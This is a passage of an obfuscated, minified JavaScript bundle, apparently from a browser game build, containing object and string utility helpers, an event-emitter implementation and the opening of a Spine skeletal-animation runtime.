_0x5ca4fc, _0x20f205 = _0x2e37c3, _0x44ee67 = _0x2e37c3, _0xddc9c8 = !0x0, _0x2edaca = !0x0, _0x407f23 = 0x0; _0x407f23 < _0x22419e['length']; _0x407f23++)_0x22e053 && _0x22e053['hasOwnProperty'](_0x22419e[_0x407f23]) ? (_0x20f205 = _0x22e053[_0x22419e[_0x407f23]], _0x22e053 = _0x22e053[_0x22419e[_0x407f23]]) : _0xddc9c8 = !0x1, _0x1d8892 && _0x1d8892['hasOwnProperty'](_0x22419e[_0x407f23]) ? (_0x44ee67 = _0x1d8892[_0x22419e[_0x407f23]], _0x1d8892 = _0x1d8892[_0x22419e[_0x407f23]]) : _0x2edaca = !0x1; return _0xddc9c8 ? _0x20f205 : _0x2edaca ? _0x44ee67 : _0x2e37c3; } return _0x2e37c3; }; }, 0x10dac: _0x565bee => { _0x565bee['exports'] = function (_0x3a954e, _0x5e7974) { for (var _0x2004e8 = 0x0; _0x2004e8 < _0x5e7974['length']; _0x2004e8++)if (!_0x3a954e['hasOwnProperty'](_0x5e7974[_0x2004e8])) return !0x1; return !0x0; }; }, 0x7c1: _0x3e906d => { _0x3e906d['exports'] = function (_0x39b0e0, _0x24ebea) { for (var _0x1761f9 = 0x0; _0x1761f9 < _0x24ebea['length']; _0x1761f9++)if (_0x39b0e0['hasOwnProperty'](_0x24ebea[_0x1761f9])) return !0x0; return !0x1; }; }, 0x17afe: _0x3e99b5 => { _0x3e99b5['exports'] = function (_0x4b52e5, _0x3ec261) { return _0x4b52e5['hasOwnProperty'](_0x3ec261); }; }, 0xa0fc: _0x3e209b => { _0x3e209b['exports'] = function (_0x39ad37) { if (!_0x39ad37 || 'object' != typeof _0x39ad37 || _0x39ad37['nodeType'] || _0x39ad37 === _0x39ad37['window']) return !0x1; try { if (_0x39ad37['constructor'] && !{}['hasOwnProperty']['call'](_0x39ad37['constructor']['prototype'], 'isPrototypeOf')) return !0x1; } catch (_0x37360d) { return !0x1; } return !0x0; }; }, 0xb77f: (_0x2ecb8c, _0x26a5f5, _0x27afaf) => { var _0x270bfd = _0x27afaf(0xa33a); _0x2ecb8c['exports'] = function (_0xbd2dda, _0x4fba44) { var _0x44df46 = _0x270bfd(_0xbd2dda); for (var _0x21c490 in _0x4fba44) _0x44df46['hasOwnProperty'](_0x21c490) || (_0x44df46[_0x21c490] = _0x4fba44[_0x21c490]); return _0x44df46; }; }, 0x10d: (_0x4afb53, _0x1eb4e8, _0x3d951b) => { var _0xbfd41c = _0x3d951b(0xa33a); _0x4afb53['exports'] = function (_0x345e25, _0x38dc5a) { var _0x3cd904 = _0xbfd41c(_0x345e25); for (var _0x3c918c in _0x38dc5a) _0x3cd904['hasOwnProperty'](_0x3c918c) && (_0x3cd904[_0x3c918c] = _0x38dc5a[_0x3c918c]); return _0x3cd904; }; }, 0x474e: (_0x18480c, _0x3f6d2d, _0x4f764c) => { var _0x5dbac7 = _0x4f764c(0x17afe); _0x18480c['exports'] = function (_0x16b56d, _0x47a4b8) { for (var _0x421b8b = {}, _0x41039a = 0x0; _0x41039a < _0x47a4b8['length']; _0x41039a++) { var _0x4e1b79 = _0x47a4b8[_0x41039a]; _0x5dbac7(_0x16b56d, _0x4e1b79) && (_0x421b8b[_0x4e1b79] = _0x16b56d[_0x4e1b79]); } return _0x421b8b; }; }, 0xf0b6: _0x51874f => { _0x51874f['exports'] = function (_0x3b8727, _0x180dd5, _0x3f02fc) { if (!_0x3b8727 || 'number' == typeof _0x3b8727) return !0x1; if (_0x3b8727['hasOwnProperty'](_0x180dd5)) return _0x3b8727[_0x180dd5] = _0x3f02fc, !0x0; if (-0x1 !== _0x180dd5['indexOf']('.')) { for (var _0x5b822a = _0x180dd5['split']('.'), _0x3b8f23 = _0x3b8727, _0x496846 = _0x3b8727, _0x4b6d61 = 0x0; _0x4b6d61 < _0x5b822a['length']; _0x4b6d61++) { if (!_0x3b8f23['hasOwnProperty'](_0x5b822a[_0x4b6d61])) return !0x1; _0x496846 = _0x3b8f23, _0x3b8f23 = _0x3b8f23[_0x5b822a[_0x4b6d61]]; } return _0x496846[_0x5b822a[_0x5b822a['length'] - 0x1]] = _0x3f02fc, !0x0; } return !0x1; }; }, 0x49f: (_0x1610c3, _0x3c384e, _0x403cdb) => { _0x1610c3['exports'] = { 'Clone': _0x403cdb(0xa33a), 'DeepCopy': _0x403cdb(0xf4b4), 'Extend': _0x403cdb(0x135bb), 'GetAdvancedValue': _0x403cdb(0x5c10), 'GetFastValue': _0x403cdb(0x17534), 'GetMinMaxValue': _0x403cdb(0x14398), 'GetValue': _0x403cdb(0x8952), 'HasAll': _0x403cdb(0x10dac), 'HasAny': _0x403cdb(0x7c1), 'HasValue': _0x403cdb(0x17afe), 'IsPlainObject': _0x403cdb(0xa0fc), 'Merge': _0x403cdb(0xb77f), 'MergeRight': _0x403cdb(0x10d), 'Pick': _0x403cdb(0x474e), 'SetValue': _0x403cdb(0xf0b6) }; }, 0x6cfe: _0x140760 => { _0x140760['exports'] = function (_0x39729c, _0x5ac148) { return _0x39729c['replace'](/%([0-9]+)/g, function (_0xc63cca, _0x3ce18a) { return _0x5ac148[Number(_0x3ce18a) - 0x1]; }); }; }, 0xa36c: _0x186499 => { _0x186499['exports'] = function (_0x2646da, _0x4ef6f8, _0x19db80, _0xb80b85) { void 0x0 === _0x4ef6f8 && (_0x4ef6f8 = 0x0), void 0x0 === _0x19db80 && (_0x19db80 = '\x20'), void 0x0 === _0xb80b85 && (_0xb80b85 = 0x3); var _0x1ce444 = 0x0; if (_0x4ef6f8 + 0x1 >= (_0x2646da = _0x2646da['toString']())['length']) switch (_0xb80b85) { case 0x1: _0x2646da = new Array(_0x4ef6f8 + 0x1 - _0x2646da['length'])['join'](_0x19db80) + _0x2646da; break; case 0x3: var _0x5ed44a = Math['ceil']((_0x1ce444 = _0x4ef6f8 - _0x2646da['length']) / 0x2); _0x2646da = new Array(_0x1ce444 - _0x5ed44a + 0x1)['join'](_0x19db80) + _0x2646da + new Array(_0x5ed44a + 0x1)['join'](_0x19db80); break; default: _0x2646da += new Array(_0x4ef6f8 + 0x1 - _0x2646da['length'])['join'](_0x19db80); }return _0x2646da; }; }, 0x835c: _0x5dd53a => { _0x5dd53a['exports'] = function (_0x2ecb89, _0x2d2a32) { return 0x0 === _0x2d2a32 ? _0x2ecb89['slice'](0x1) : _0x2ecb89['slice'](0x0, _0x2d2a32) + _0x2ecb89['slice'](_0x2d2a32 + 0x1); }; }, 0x6c17: _0x29c3d0 => { _0x29c3d0['exports'] = function (_0xa291b5) { return _0xa291b5['split']('')['reverse']()['join'](''); }; }, 0xb252: _0x540cea => { _0x540cea['exports'] = function () { return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'['replace'](/[xy]/g, function (_0x3c8dca) { var _0x3d9792 = 0x10 * Math['random']() | 0x0; return ('x' === _0x3c8dca ? _0x3d9792 : 0x3 & _0x3d9792 | 0x8)['toString'](0x10); }); }; }, 0x8a1b: _0x4ef43a => { _0x4ef43a['exports'] = function (_0x1aed42) { return _0x1aed42 && _0x1aed42[0x0]['toUpperCase']() + _0x1aed42['slice'](0x1); }; }, 0x7c05: (_0x2b29b1, _0x1008de, _0x556627) => { _0x2b29b1['exports'] = { 'Format': _0x556627(0x6cfe), 'Pad': _0x556627(0xa36c), 'RemoveAt': _0x556627(0x835c), 'Reverse': _0x556627(0x6c17), 'UppercaseFirst': _0x556627(0x8a1b), 'UUID': _0x556627(0xb252) }; } }, _0x84c39a = {}; function _0x4b5d07(_0x342c60) { var _0x3b2c32 = _0x84c39a[_0x342c60]; if (void 0x0 !== _0x3b2c32) return _0x3b2c32['exports']; var _0x3b881a = _0x84c39a[_0x342c60] = { 'exports': {} }; return _0x15c7b1[_0x342c60](_0x3b881a, _0x3b881a['exports'], _0x4b5d07), _0x3b881a['exports']; } return _0x4b5d07['g'] = (function () { if ('object' == typeof globalThis) return globalThis; try { return this || new Function('return\x20this')(); } catch (_0x27a543) { if ('object' == typeof window) return window; } }()), _0x4b5d07(0x14dce); })()), _0x24c682['exports'] = _0x45ea01(); }, 0x2419: () => { ((() => { var _0x101758 = { 0x112f: _0x59b8a8 => { 'use strict'; var _0x202896 = Object['prototype']['hasOwnProperty'], _0x31de58 = '~'; function _0x1ab499() { } function _0x3af154(_0x527b25, _0x383412, _0x278824) { this['fn'] = _0x527b25, this['context'] = _0x383412, this['once'] = _0x278824 || !0x1; } function _0x5ae1ce(_0xdcae08, _0x379bba, _0x55c8a9, _0x2b7813, _0x4d4a31) { if ('function' != typeof _0x55c8a9) throw new TypeError('The\x20listener\x20must\x20be\x20a\x20function'); var _0x4d0ad9 = new _0x3af154(_0x55c8a9, _0x2b7813 || _0xdcae08, _0x4d4a31), _0x6d8d36 = _0x31de58 ? _0x31de58 + _0x379bba : _0x379bba; return _0xdcae08['_events'][_0x6d8d36] ? _0xdcae08['_events'][_0x6d8d36]['fn'] ? _0xdcae08['_events'][_0x6d8d36] = [_0xdcae08['_events'][_0x6d8d36], _0x4d0ad9] : _0xdcae08['_events'][_0x6d8d36]['push'](_0x4d0ad9) : (_0xdcae08['_events'][_0x6d8d36] = _0x4d0ad9, _0xdcae08['_eventsCount']++), _0xdcae08; } function _0xc64c4f(_0x3d1be7, _0x1adb7e) { 0x0 == --_0x3d1be7['_eventsCount'] ? _0x3d1be7['_events'] = new _0x1ab499() : delete _0x3d1be7['_events'][_0x1adb7e]; } function _0x23331a() { this['_events'] = new _0x1ab499(), this['_eventsCount'] = 0x0; } Object['create'] && (_0x1ab499['prototype'] = Object['create'](null), new _0x1ab499()['__proto__'] || (_0x31de58 = !0x1)), _0x23331a['prototype']['eventNames'] = function () { var _0x396c2c, _0x410f19, _0x5a96b2 = []; if (0x0 === this['_eventsCount']) return _0x5a96b2; for (_0x410f19 in _0x396c2c = this['_events']) _0x202896['call'](_0x396c2c, _0x410f19) && _0x5a96b2['push'](_0x31de58 ? _0x410f19['slice'](0x1) : _0x410f19); return Object['getOwnPropertySymbols'] ? _0x5a96b2['concat'](Object['getOwnPropertySymbols'](_0x396c2c)) : _0x5a96b2; }, _0x23331a['prototype']['listeners'] = function (_0x3f41e9) { var _0x9acdf2 = _0x31de58 ? _0x31de58 + _0x3f41e9 : _0x3f41e9, _0x5555c6 = this['_events'][_0x9acdf2]; if (!_0x5555c6) return []; if (_0x5555c6['fn']) return [_0x5555c6['fn']]; for (var _0x2676d3 = 0x0, _0x1d1746 = _0x5555c6['length'], _0x221103 = new Array(_0x1d1746); _0x2676d3 < _0x1d1746; _0x2676d3++)_0x221103[_0x2676d3] = _0x5555c6[_0x2676d3]['fn']; return _0x221103; }, _0x23331a['prototype']['listenerCount'] = function (_0x4224d9) { var _0x36afdf = _0x31de58 ? _0x31de58 + _0x4224d9 : _0x4224d9, _0xe140ba = this['_events'][_0x36afdf]; return _0xe140ba ? _0xe140ba['fn'] ? 0x1 : _0xe140ba['length'] : 0x0; }, _0x23331a['prototype']['emit'] = function (_0x2d6b43, _0x45177f, _0x212678, _0x5b0d38, _0x562a0c, _0x54af3a) { var _0x10aa46 = _0x31de58 ? _0x31de58 + _0x2d6b43 : _0x2d6b43; if (!this['_events'][_0x10aa46]) return !0x1; var _0x42a008, _0x4b1749, _0x4682b3 = this['_events'][_0x10aa46], _0x9f7978 = arguments['length']; if (_0x4682b3['fn']) { switch (_0x4682b3['once'] && this['removeListener'](_0x2d6b43, _0x4682b3['fn'], void 0x0, !0x0), _0x9f7978) { case 0x1: return _0x4682b3['fn']['call'](_0x4682b3['context']), !0x0; case 0x2: return _0x4682b3['fn']['call'](_0x4682b3['context'], _0x45177f), !0x0; case 0x3: return _0x4682b3['fn']['call'](_0x4682b3['context'], _0x45177f, _0x212678), !0x0; case 0x4: return _0x4682b3['fn']['call'](_0x4682b3['context'], _0x45177f, _0x212678, _0x5b0d38), !0x0; case 0x5: return _0x4682b3['fn']['call'](_0x4682b3['context'], _0x45177f, _0x212678, _0x5b0d38, _0x562a0c), !0x0; case 0x6: return _0x4682b3['fn']['call'](_0x4682b3['context'], _0x45177f, _0x212678, _0x5b0d38, _0x562a0c, _0x54af3a), !0x0; }for (_0x4b1749 = 0x1, _0x42a008 = new Array(_0x9f7978 - 0x1); _0x4b1749 < _0x9f7978; _0x4b1749++)_0x42a008[_0x4b1749 - 0x1] = arguments[_0x4b1749]; _0x4682b3['fn']['apply'](_0x4682b3['context'], _0x42a008); } else { var _0x3d74f0, _0x39ac62 = _0x4682b3['length']; for (_0x4b1749 = 0x0; _0x4b1749 < _0x39ac62; _0x4b1749++)switch (_0x4682b3[_0x4b1749]['once'] && this['removeListener'](_0x2d6b43, _0x4682b3[_0x4b1749]['fn'], void 0x0, !0x0), _0x9f7978) { case 0x1: _0x4682b3[_0x4b1749]['fn']['call'](_0x4682b3[_0x4b1749]['context']); break; case 0x2: _0x4682b3[_0x4b1749]['fn']['call'](_0x4682b3[_0x4b1749]['context'], _0x45177f); break; case 0x3: _0x4682b3[_0x4b1749]['fn']['call'](_0x4682b3[_0x4b1749]['context'], _0x45177f, _0x212678); break; case 0x4: _0x4682b3[_0x4b1749]['fn']['call'](_0x4682b3[_0x4b1749]['context'], _0x45177f, _0x212678, _0x5b0d38); break; default: if (!_0x42a008) { for (_0x3d74f0 = 0x1, _0x42a008 = new Array(_0x9f7978 - 0x1); _0x3d74f0 < _0x9f7978; _0x3d74f0++)_0x42a008[_0x3d74f0 - 0x1] = arguments[_0x3d74f0]; } _0x4682b3[_0x4b1749]['fn']['apply'](_0x4682b3[_0x4b1749]['context'], _0x42a008); } } return !0x0; }, _0x23331a['prototype']['on'] = function (_0x1bb800, _0x9e1f46, _0x413d6a) { return _0x5ae1ce(this, _0x1bb800, _0x9e1f46, _0x413d6a, !0x1); }, _0x23331a['prototype']['once'] = function (_0xffd7c3, _0x1dc538, _0x1778a6) { return _0x5ae1ce(this, _0xffd7c3, _0x1dc538, _0x1778a6, !0x0); }, _0x23331a['prototype']['removeListener'] = function (_0x3e52a6, _0x353186, _0x49809a, _0x3cc5e9) { var _0x16c769 = _0x31de58 ? _0x31de58 + _0x3e52a6 : _0x3e52a6; if (!this['_events'][_0x16c769]) return this; if (!_0x353186) return _0xc64c4f(this, _0x16c769), this; var _0x45e3ca = this['_events'][_0x16c769]; if (_0x45e3ca['fn']) _0x45e3ca['fn'] !== _0x353186 || _0x3cc5e9 && !_0x45e3ca['once'] || _0x49809a && _0x45e3ca['context'] !== _0x49809a || _0xc64c4f(this, _0x16c769); else { for (var _0x5de0c6 = 0x0, _0x187ac7 = [], _0x50bf62 = _0x45e3ca['length']; _0x5de0c6 < _0x50bf62; _0x5de0c6++)(_0x45e3ca[_0x5de0c6]['fn'] !== _0x353186 || _0x3cc5e9 && !_0x45e3ca[_0x5de0c6]['once'] || _0x49809a && _0x45e3ca[_0x5de0c6]['context'] !== _0x49809a) && _0x187ac7['push'](_0x45e3ca[_0x5de0c6]); _0x187ac7['length'] ? this['_events'][_0x16c769] = 0x1 === _0x187ac7['length'] ? _0x187ac7[0x0] : _0x187ac7 : _0xc64c4f(this, _0x16c769); } return this; }, _0x23331a['prototype']['removeAllListeners'] = function (_0x207875) { var _0xbe1a31; return _0x207875 ? (_0xbe1a31 = _0x31de58 ? _0x31de58 + _0x207875 : _0x207875, this['_events'][_0xbe1a31] && _0xc64c4f(this, _0xbe1a31)) : (this['_events'] = new _0x1ab499(), this['_eventsCount'] = 0x0), this; }, _0x23331a['prototype']['off'] = _0x23331a['prototype']['removeListener'], _0x23331a['prototype']['addListener'] = _0x23331a['prototype']['on'], _0x23331a['prefixed'] = _0x31de58, _0x23331a['EventEmitter'] = _0x23331a, _0x59b8a8['exports'] = _0x23331a; }, 0x1427: _0x248176 => { (function () { 'use strict'; var _0x4556aa = ((() => { var _0x198433 = Object['defineProperty'], _0x3a1c57 = Object['getOwnPropertyDescriptor'], _0x4ba799 = Object['getOwnPropertyNames'], _0x145241 = Object['prototype']['hasOwnProperty'], _0x491ac9 = {}; ((_0x5aa32c, _0x467e66) => { for (var _0x20f54c in _0x467e66) _0x198433(_0x5aa32c, _0x20f54c, { 'get': _0x467e66[_0x20f54c], 'enumerable': !0x0 }); })(_0x491ac9, { 'AlphaTimeline': () => _0x2bdc46, 'Animation': () => _0x908e8c, 'AnimationState': () => _0x2fcea2, 'AnimationStateAdapter': () => _0x2141d0, 'AnimationStateData': () => _0x5bc84d, 'AssetManager': () => _0x119383, 'AssetManagerBase': () => _0x16f5e1, 'AtlasAttachmentLoader': () => _0x2e6fe7, 'Attachment': () => _0x167b0f, 'AttachmentTimeline': () => _0x150783, 'BinaryInput': () => _0xf7c11c, 'BlendMode': () => _0x1dac33, 'Bone': () => _0x179411, 'BoneData': () => _0x20d7c7, 'BoundingBoxAttachment': () => _0xc3e958, 'CURRENT': () => _0x110480, 'CanvasTexture': () => _0x4d1b0d, 'ClippingAttachment': () => _0x1e0073, 'Color': () => _0x2577a7, 'ConstraintData': () => _0x3a187e, 'CurveTimeline': () => _0x4695f1, 'CurveTimeline1': () => _0x2691fc, 'CurveTimeline2': () => _0x402db1, 'DebugUtils': () => _0x186cad, 'DeformTimeline': () => _0x342943, 'Downloader': () => _0x143ce5, 'DrawOrderTimeline': () => _0x45823e, 'Event': () => _0x1d1b63, 'EventData': () => _0x3d9433, 'EventQueue': () => _0x428688, 'EventTimeline': () => _0x3c427f, 'EventType': () => _0x4a6393, 'FIRST': () => _0x57e4e8, 'FakeTexture': () => _0xe435bf, 'HOLD_FIRST': () => _0x44bc1b, 'HOLD_MIX': () => _0x13832d, 'HOLD_SUBSEQUENT': () => _0x1bf8ea, 'IkConstraint': () => _0x10a569, 'IkConstraintData': () => _0x111144, 'IkConstraintTimeline': () => _0x3a8a6e, 'IntSet': () => _0x48287b, 'Interpolation': () => _0x4de6dc, 'MathUtils': () => _0xbc125, 'MeshAttachment': () => _0x144c75, 'MixBlend': () => _0x4c0aed, 'MixDirection': () => _0x209d3e, 'PathAttachment': () => _0x7433b6, 'PathConstraint': () => _0x162a76, 'PathConstraintData': () => _0x7cd642, 'PathConstraintMixTimeline': () => _0x2fe414, 'PathConstraintPositionTimeline': () => _0x1f2b10, 'PathConstraintSpacingTimeline': () => _0x4efc27, 'PointAttachment': () => _0xb20849, 'Pool': () => _0x100ce0, 'PositionMode': () => _0x224118, 'Pow': () => _0x12dff8, 'PowOut': () => _0x295d02, 'RGB2Timeline': () => _0x504db7, 'RGBA2Timeline': () => _0x1a8cbe, 'RGBATimeline': () => _0x1c6845, 'RGBTimeline': () => _0xe2f048, 'RegionAttachment': () => _0x4c00b5, 'RotateMode': () => _0x2f99a6, 'RotateTimeline': () => _0x1bb8f1, 'SETUP': () => _0x4b3478, 'SUBSEQUENT': () => _0xc33164, 'ScaleTimeline': () => _0x5c8fbd, 'ScaleXTimeline': () => _0x20a45a, 'ScaleYTimeline': () => _0x692d7d, 'SequenceTimeline': () => _0x363add, 'ShearTimeline': () => _0x497e46, 'ShearXTimeline': () => _0x7108a2, 'ShearYTimeline': () => _0x2f5da0, 'Skeleton': () => _0x162b4c, 'SkeletonBinary': () => _0x11cc06, 'SkeletonBounds': () => _0x2fcd34, 'SkeletonClipping': () => _0x14fd37, 'SkeletonData': () => _0x487383, 'SkeletonJson': () => _0x2ed9da, 'SkeletonRenderer': () => _0x3fc70d, 'Skin': () => _0x511113, 'SkinEntry': () => _0xe565b, 'Slot': () => _0x2bc52a, 'SlotData': () => _0x4bf8d9, 'SpacingMode': () => _0x549ad5, 'StringSet': () => _0x3b4f17, 'Texture': () => _0x4ec22f, 'TextureAtlas': () => _0x340fed, 'TextureAtlasPage': () => _0x36047a, 'TextureAtlasRegion': () => _0x3020bd, 'TextureFilter': () => _0x2bfce0, 'TextureRegion': () => _0x5166cf, 'TextureWrap': () => _0x2328c8, 'TimeKeeper': () => _0x50f3e2, 'Timeline': () => _0x477107, 'TrackEntry': () => _0x2919eb, 'TransformConstraint': () => _0xc7bab4, 'TransformConstraintData': () => _0xab12f5, 'TransformConstraintTimeline': () => _0x140dbb, 'TransformMode': () => _0x3c2597, 'TranslateTimeline': () => _0x4b4ba8, 'TranslateXTimeline': () => _0x4c774a, 'TranslateYTimeline': () => _0x1c66a3, 'Triangulator': () => _0x4bcb01, 'Utils': () => _0x380bba, 'Vector2': () => _0x47b9a5, 'VertexAttachment': () => _0x26c777, 'WindowedMean': () => _0x221076 }); var _0x48287b = class { constructor() { this['array'] = new Array(); } ['add'](_0xdd4e51) { let _0x4cc98e = this['contains'](_0xdd4e51); return this['array'][0x0 | _0xdd4e51] = 0x0 | _0xdd4e51, !_0x4cc98e; } ['contains'](_0x4a290e) { return null != this['array'][0x0 | _0x4a290e]; } ['remove'](_0x3e7ea8) { this['array'][0x0 | _0x3e7ea8] = void 0x0; } ['clear']() { this['array']['length'] = 0x0; } }, _0x3b4f17 = class { constructor() { this['entries'] = {}, this['size'] = 0x0; } ['add'](_0x1592f8) { let _0x26b56f = this['entries'][_0x1592f8]; return this['entries'][_0x1592f8] = !0x0, !_0x26b56f && (this['size']++, !0x0); } ['addAll'](_0xcc3672) { let _0x1276df = this['size']; for (var _0x1ede94 = 0x0, _0xe3c51f = _0xcc3672['length']; _0x1ede94 < _0xe3c51f; _0x1ede94++)this['add'](_0xcc3672[_0x1ede94]); return _0x1276df != this['size']; } ['contains'](_0xd670a9) { return this['entries'][_0xd670a9]; } ['clear']() { this['entries'] = {}, this['size'] = 0x0; } }, _0x17b697 = class { constructor(_0x4b6357 = 0x0, _0x449a58 = 0x0, _0x47aa92 = 0x0, _0x3c78bf = 0x0) { this['r'] = _0x4b6357, this['g'] = _0x449a58, this['b'] = _0x47aa92, this['a'] = _0x3c78bf; } ['set'](_0x5c9619, _0x5b5251, _0x3b62b2, _0x4daebd) { return this['r'] = _0x5c9619, this['g'] = _0x5b5251, this['b'] = _0x3b62b2, this['a'] = _0x4daebd, this['clamp'](); } ['setFromColor'](_0x56bd94) { return this['r'] = _0x56bd94['r'], this['g'] = _0x56bd94['g'], this['b'] = _0x56bd94['b'], this['a'] = _0x56bd94['a'], this; } ['setFromString'](_0x282254) { return _0x282254 = '#' == _0x282254['charAt'](0x0) ? _0x282254['substr'](0x1) : _0x282254, this['r'] = parseInt(_0x282254['substr'](0x0, 0x2), 0x10) / 0xff, this['g'] = parseInt(_0x282254['substr'](0x2, 0x2), 0x10) / 0xff, this['b'] = parseInt(_0x282254['substr'](0x4, 0x2), 0x10) / 0xff, this['a'] = 0x8 != _0x282254['length'] ? 0x1 : parseInt(_0x282254['substr'](0x6, 0x2), 0x10) / 0xff, this; } ['add'](_0x2934b1, _0x24079b, _0x118ce0, _0x1e86e0) { return this['r'] += _0x2934b1, this['g'] += _0x24079b, this['b'] += _0x118ce0, this['a'] += _0x1e86e0, this['clamp'](); } ['clamp']() { return this['r'] < 0x0 ? this['r'] = 0x0 : this['r'] > 0x1 && (this['r'] = 0x1), this['g'] < 0x0 ? this['g'] = 0x0 : this['g'] > 0x1 && (this['g'] = 0x1), this['b'] < 0x0 ? this['b'] = 0x0 : this['b'] > 0x1 && (this['b'] = 0x1), this['a'] < 0x0 ? this['a'] = 0x0 : this['a'] > 0x1 && (this['a'] = 0x1), this; } static ['rgba8888ToColor'](_0x4a0d48, _0x3235c9) { _0x4a0d48['r'] = ((0xff000000 & _0x3235c9) >>> 0x18) / 0xff, _0x4a0d48['g'] = ((0xff0000 & _0x3235c9) >>> 0x10) / 0xff, _0x4a0d48['b'] = ((0xff00 & _0x3235c9) >>> 0x8) / 0xff, _0x4a0d48['a'] = (0xff & _0x3235c9) / 0xff; } static ['rgb888ToColor'](_0x49039b, _0x33e2eb) { _0x49039b['r'] = ((0xff0000 & _0x33e2eb) >>> 0x10) / 0xff, _0x49039b['g'] = ((0xff00 & _0x33e2eb) >>> 0x8) / 0xff, _0x49039b['b'] = (0xff & _0x33e2eb) / 0xff; } static ['fromString'](_0x6f3e5b) { return new _0x17b697()['setFromString'](_0x6f3e5b); } }, _0x2577a7 = _0x17b697; _0x2577a7['WHITE'] = new _0x17b697(0x1, 0x1, 0x1, 0x1), _0x2577a7['RED'] = new _0x17b697(0x1, 0x0, 0x0, 0x1), _0x2577a7['GREEN'] = new _0x17b697(0x0, 0x1, 0x0, 0x1), _0x2577a7['BLUE'] = new _0x17b697(0x0, 0x0, 0x1, 0x1), _0x2577a7['MAGENTA'] = new _0x17b697(0x1, 0x0, 0x1, 0x1); var _0x53192d = class { static ['clamp'](_0x5d54c2, _0x29f478, _0x2455e5) { return _0x5d54c2 < _0x29f478 ? _0x29f478 : _0x5d54c2 > _0x2455e5 ? _0x2455e5 : _0x5d54c2; } static ['cosDeg'](_0x25fb2c) { return Math['cos'](_0x25fb2c * _0x53192d['degRad']); } static ['sinDeg'](_0x49dff3) { return Math['sin'](_0x49dff3 * _0x53192d['degRad']); } static ['signum'](_0x24d4e2) { return _0x24d4e2 > 0x0 ? 0x1 : _0x24d4e2 < 0x0 ? -0x1 : 0x0; } static ['toInt'](_0x84ac35) { return _0x84ac35 > 0x0 ? Math['floor'](_0x84ac35) : Math['ceil'](_0x84ac35); } static ['cbrt'](_0x1397cf) { let _0x25b12f = Math['pow'](Math['abs'](_0x1397cf), 0x1 / 0x3); return _0x1397cf < 0x0 ? -_0x25b12f : _0x25b12f; } static ['randomTriangular'](_0x5f2206, _0xb0258b) { return _0x53192d['randomTriangularWith'](_0x5f2206, _0xb0258b, 0.5 * (_0x5f2206 + _0xb0258b)); } static ['randomTriangularWith'](_0x2b477d, _0x315110, _0x33d768) { let _0x16928c = Math['random'](), _0x1ffe7f = _0x315110 - _0x2b477d; return _0x16928c <= (_0x33d768 - _0x2b477d) / _0x1ffe7f ? _0x2b477d + Math['sqrt'](_0x16928c * _0x1ffe7f * (_0x33d768 - _0x2b477d)) : _0x315110 - Math['sqrt']((0x1 - _0x16928c) * _0x1ffe7f * (_0x315110 - _0x33d768)); } static ['isPowerOfTwo'](_0x10bc59) { return _0x10bc59 && 0x0 == (_0x10bc59 & _0x10bc59 - 0x1); } }, _0xbc125 = _0x53192d; _0xbc125['PI'] = 3.1415927, _0xbc125['PI2'] = 0x2 * _0x53192d['PI'], _0xbc125['radiansToDegrees'] = 0xb4 / _0x53192d['PI'], _0xbc125['radDeg'] = _0x53192d['radiansToDegrees'], _0xbc125['degreesToRadians'] = _0x53192d['PI'] / 0xb4, _0xbc125['degRad'] = _0x53192d['degreesToRadians']; var _0x4de6dc = class { ['apply'](_0x1cca52, _0x126dd2, _0x2db559) { return _0x1cca52 + (_0x126dd2 - _0x1cca52) * this['applyInternal'](_0x2db559); } }, _0x12dff8 = class extends _0x4de6dc { constructor(_0x215f3b) { super(), this['power'] = 0x2, this['power'] = _0x215f3b; } ['applyInternal'](_0xa5014e) { return _0xa5014e <= 0.5 ? Math['pow'](0x2 * _0xa5014e, this['power']) / 0x2 : Math['pow'](0x2 * (_0xa5014e - 0x1), this['power']) / (this['power'] % 0x2 == 0x0 ? -0x2 : 0x2) + 0x1; } }, _0x295d02 = class extends _0x12dff8 { constructor(_0x5d77ad) { super(_0x5d77ad); } ['applyInternal'](_0x56d1ad) { return Math['pow'](_0x56d1ad - 0x1, this['power']) * (this['power'] % 0x2 == 0x0 ? -0x1 : 0x1) + 0x1; } }, _0x3c13b9 = class { static ['arrayCopy'](_0x2bcbaa, _0x7def3, _0x2cf582, _0xef63f7, _0x5223ab) { for (let _0xe35042 = _0x7def3, _0x3393a4 = _0xef63f7; _0xe35042 < _0x7def3 + _0x5223ab; _0xe35042++, _0x3393a4++)_0x2cf582[_0x3393a4] = _0x2bcbaa[_0xe35042]; } static ['arrayFill'](_0x2bbada, _0x2c17a5, _0x542cad, _0x54ede7) { for (let _0x4b0223 = _0x2c17a5; _0x4b0223 < _0x542cad; _0x4b0223++)_0x2bbada[_0x4b0223] = _0x54ede7; } static ['setArraySize'](_0x59176d, _0x259b14, _0x4f838a = 0x0) { let _0x58a438 = _0x59176d['length']; if (_0x58a438 == _0x259b14) return _0x59176d; if (_0x59176d['length'] = _0x259b14, _0x58a438 < _0x259b14) { for (let _0x166746 = _0x58a438; _0x166746 < _0x259b14; _0x166746++)_0x59176d[_0x166746] = _0x4f838a; } return _0x59176d; } static ['ensureArrayCapacity'](_0x55efa1, _0x403be0, _0x36db94 = 0x0) { return _0x55efa1['length'] >= _0x403be0 ? _0x55efa1 : _0x3c13b9['setArraySize'](_0x55efa1, _0x403be0, _0x36db94); } static ['newArray'](_0x2da8b4, _0x135b3b) { let _0x12e851 = new Array(_0x2da8b4); for (let _0x510ae4 = 0x0; _0x510ae4 < _0x2da8b4; _0x510ae4++)_0x12e851[_0x510ae4] = _0x135b3b; return _0x12e851; } static ['newFloatArray'](_0x26868e) { if (_0x3c13b9['SUPPORTS_TYPED_ARRAYS']) return new Float32Array(_0x26868e); { let _0x478506 = new Array(_0x26868e); for (let _0x1468e9 = 0x0; _0x1468e9 < _0x478506['length']; _0x1468e9++)_0x478506[_0x1468e9] = 0x0; return _0x478506; } } static ['newShortArray'](_0x488dbc) { if (_0x3c13b9['SUPPORTS_TYPED_ARRAYS']) return new Int16Array(_0x488dbc); { let _0x532f4b = new Array(_0x488dbc); for (let _0x2c9252 = 0x0; _0x2c9252 < _0x532f4b['length']; _0x2c9252++)_0x532f4b[_0x2c9252] = 0x0; return _0x532f4b; } } static ['toFloatArray'](_0x132b81) { return _0x3c13b9['SUPPORTS_TYPED_ARRAYS'] ? new Float32Array(_0x132b81) : _0x132b81; } static ['toSinglePrecision'](_0x1b72a5) { return _0x3c13b9['SUPPORTS_TYPED_ARRAYS'] ? Math['fround'](_0x1b72a5) : _0x1b72a5; } static 